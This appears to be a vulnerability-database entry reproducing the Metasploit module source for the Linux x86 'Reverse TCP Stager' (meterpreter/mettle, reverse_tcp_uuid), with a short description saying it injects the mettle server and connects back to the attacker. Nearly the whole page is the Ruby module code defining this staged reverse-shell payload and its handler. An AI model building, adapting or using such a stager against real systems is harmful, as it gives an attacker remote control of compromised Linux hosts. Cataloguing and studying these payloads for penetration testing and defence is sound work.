Linux Mettle x86, Reverse TCP Stager

1976-01-01T00:00:00
ID MSF:PAYLOAD/LINUX/X86/METERPRETER/REVERSE_TCP_UUID
Type metasploit
Reporter Rapid7
Modified 1976-01-01T00:00:00

Description

Inject the mettle server payload (staged). Connect back to the attacker

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/linux/reverse_tcp'

module MetasploitModule

  CachedSize = 166

  include Msf::Payload::Stager
  include Msf::Payload::Linux::ReverseTcp_x86

  def self.handler_type_alias
    'reverse_tcp_uuid'
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Reverse TCP Stager',
      'Description' => 'Connect back to the attacker',
      'Author'      => [ 'skape', 'egypt', 'OJ Reeves' ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Handler'     => Msf::Handler::ReverseTcp,
      'Stager'      => { 'Payload' => '' }
    ))
  end

  #
  # Override the uuid function and opt-in for sending the
  # UUID in the stage.
  #
  def include_send_uuid
    true
  end
end